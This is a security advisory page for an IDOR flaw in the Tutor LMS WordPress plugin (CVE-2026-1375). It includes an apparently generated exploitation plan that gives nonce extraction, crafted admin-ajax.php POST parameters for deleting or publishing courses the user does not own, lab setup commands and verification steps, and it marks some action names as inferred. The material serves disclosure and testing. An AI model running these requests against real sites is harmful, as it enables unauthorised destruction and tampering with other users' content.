Tutor LMS <= 3.9.5 - Insecure Direct Object Reference to Authenticated (Instructor+) Arbitrary Course Modification and Deletion
Description
The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to Insecure Direct Object References (IDOR) in all versions up to, and including, 3.9.5. This is due to missing object-level authorization checks in the `course_list_bulk_action()`, `bulk_delete_course()`, and `update_course_status()` functions. This makes it possible for authenticated attackers, with Tutor Instructor-level access and above, to modify or delete arbitrary courses they do not own by manipulating course IDs in bulk action requests.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:HTechnical Details
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-1375 (Tutor LMS IDOR) ## 1. Vulnerability Summary The **Tutor LMS** plugin (<= 3.9.5) contains an Insecure Direct Object Reference (IDOR) vulnerability within its course management logic. Specifically, the functions `course_list_bulk_action()`, `bulk_delete_c…
Show full research plan
Exploitation Research Plan - CVE-2026-1375 (Tutor LMS IDOR)
1. Vulnerability Summary
The Tutor LMS plugin (<= 3.9.5) contains an Insecure Direct Object Reference (IDOR) vulnerability within its course management logic. Specifically, the functions course_list_bulk_action(), bulk_delete_course(), and update_course_status() fail to perform object-level authorization checks. While these functions verify that the user has the general capability to manage courses (e.g., tutor_instructor), they do not verify if the specific course IDs being modified or deleted actually belong to the authenticated user. This allows an authenticated Instructor to modify or delete courses authored by any other user, including Administrators.
2. Attack Vector Analysis
- Endpoints:
wp-admin/admin-ajax.php(Primary suspect for dashboard actions)- Instructor Dashboard Frontend (often uses AJAX or POST to the current page)
- Vulnerable Actions (AJAX/POST):
tutor_course_list_bulk_action(inferred action name)tutor_update_course_status(inferred action name)
- Payload Parameters:
course_ids[]orcourse_id: The ID of the target course(s) to be modified or deleted.bulk_action: The action to perform (e.g.,delete,trash,publish,draft).status: The target status forupdate_course_status.
- Authentication: Authenticated user with at least
Instructorrole. - Preconditions: At least one course must exist that is NOT owned by the attacker (e.g., an Admin-created course).
3. Code Flow (Inferred)
- Entry Point: The user triggers a bulk action or status change from the Instructor Dashboard or Admin Course list.
- Hook Registration: The plugin registers AJAX handlers:
add_action('wp_ajax_tutor_course_list_bulk_action', 'course_list_bulk_action'); add_action('wp_ajax_tutor_update_course_status', 'update_course_status'); - Vulnerable Logic (
course_list_bulk_action/bulk_delete_course):- The function retrieves
$_POST['course_ids']. - It checks
current_user_can('tutor_instructor')(Capability check). - It checks
wp_verify_nonce()(CSRF check). - The Bug: It iterates through the IDs and calls
wp_delete_post($id)orwp_trash_post($id)without checking ifget_post_field('post_author', $id) == get_current_user_id().
- The function retrieves
- Vulnerable Logic (
update_course_status):- The function retrieves
$_POST['course_id']and$_POST['status']. - It updates the post status via
wp_update_post()orupdate_post_meta()without verifying ownership.
- The function retrieves
4. Nonce Acquisition Strategy
Tutor LMS typically localizes nonces for the instructor dashboard in a global JavaScript object.
- Identify Trigger: The "Instructor Dashboard" page (usually slug
/dashboard/or/instructor-dashboard/) contains the course management interface. - Setup Page:
wp post create --post_type=page --post_title="Dashboard" --post_status=publish --post_content='[tutor_dashboard]'
- Extraction via Browser:
- Navigate to the dashboard as the Instructor user.
- The nonce is likely located in the
window.tutor_get_conforwindow.tutor_admin_dataobject. - JS Command:
browser_eval("window.tutor_get_conf?.nonce")orbrowser_eval("window.tutor_admin_data?.nonce"). - Note: In some versions, the bulk action nonce might specifically be
tutor_nonce.
5. Exploitation Strategy
Phase 1: Bulk Deletion (IDOR)
- Target: Delete/Trash a course owned by the Administrator (ID:
TARGET_COURSE_ID). - Tool:
http_request - Method: POST
- URL:
http://[target]/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Parameters:
action:tutor_course_list_bulk_action(verify name in source)course_ids[]:[TARGET_COURSE_ID]bulk_action:delete(ortrash)_wpnonce:[EXTRACTED_NONCE]
Phase 2: Arbitrary Status Modification
- Target: Change an Admin course from
pendingordrafttopublish. - Method: POST
- URL:
http://[target]/wp-admin/admin-ajax.php - Parameters:
action:tutor_update_course_status(verify name in source)course_id:[TARGET_COURSE_ID]status:publish_wpnonce:[EXTRACTED_NONCE]
6. Test Data Setup
- Create Admin Course:
wp post create --post_type=courses --post_title="Admin Secret Course" --post_status=publish --post_author=1- Save the resulting ID as
TARGET_COURSE_ID.
- Create Instructor User:
wp user create attacker attacker@example.com --role=tutor_instructor --user_pass=password123
- Ensure Tutor LMS Roles are active:
wp tutor tools re-install-roles(if necessary).
7. Expected Results
- Bulk Deletion: The server returns a success response (likely JSON
{"success": true}). The course withTARGET_COURSE_IDshould no longer appear in the active courses list. - Status Modification: The server returns success. The course status in the database changes to the specified value.
8. Verification Steps
- Verify Deletion:
wp post get [TARGET_COURSE_ID] --field=post_status- If status is
trashor the command returns an error (ifdeletewas used), the exploit worked.
- Verify Ownership Bypass:
wp post get [TARGET_COURSE_ID] --field=post_author- Confirm the author is still
1(Admin), proving an Instructor modified/deleted a course they do not own.
9. Alternative Approaches
- Dashboard Form Submission: If the AJAX endpoint is restricted, attempt to find a standard POST handler in
wp-admin/admin.phporadmin-post.phpused by the Instructor Dashboard's bulk action menu. - Parameter variations: Check if the plugin accepts
course_id(singular) instead ofcourse_ids[]for some handlers. - Direct Function Call via Admin Dashboard: If the Instructor has access to
wp-admin, navigate to/wp-admin/edit.php?post_type=coursesand attempt the bulk action there while intercepting the request to ensure theTARGET_COURSE_IDis injected.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.